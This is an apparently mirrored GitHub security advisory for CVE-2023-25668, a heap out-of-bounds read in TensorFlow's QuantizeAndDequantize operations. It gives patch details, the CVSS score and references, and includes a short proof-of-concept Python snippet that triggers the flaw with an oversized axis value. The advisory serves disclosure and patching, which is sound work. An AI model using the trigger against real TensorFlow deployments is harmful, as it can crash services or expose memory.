Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1ndzk3LWZmN2MtOXY5Ns4AAyT8

TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.
When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound.
Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
    								   input_min=[1.0],
    								   input_max=[10.0],
    								   signed_input=True,
    								   num_bits=1,
    								   range_given=True,
    								   round_mode='HALF_TO_EVEN',
    								   narrow_range=True,
    								   axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Permalink: https://github.com/advisories/GHSA-gw97-ff7c-9v96
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndzk3LWZmN2MtOXY5Ns4AAyT8
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 1 year ago
Updated: about 1 year ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-gw97-ff7c-9v96, CVE-2023-25668
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gw97-ff7c-9v96
• https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb
• https://nvd.nist.gov/vuln/detail/CVE-2023-25668
• https://github.com/advisories/GHSA-gw97-ff7c-9v96

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 47.7

Affected Packages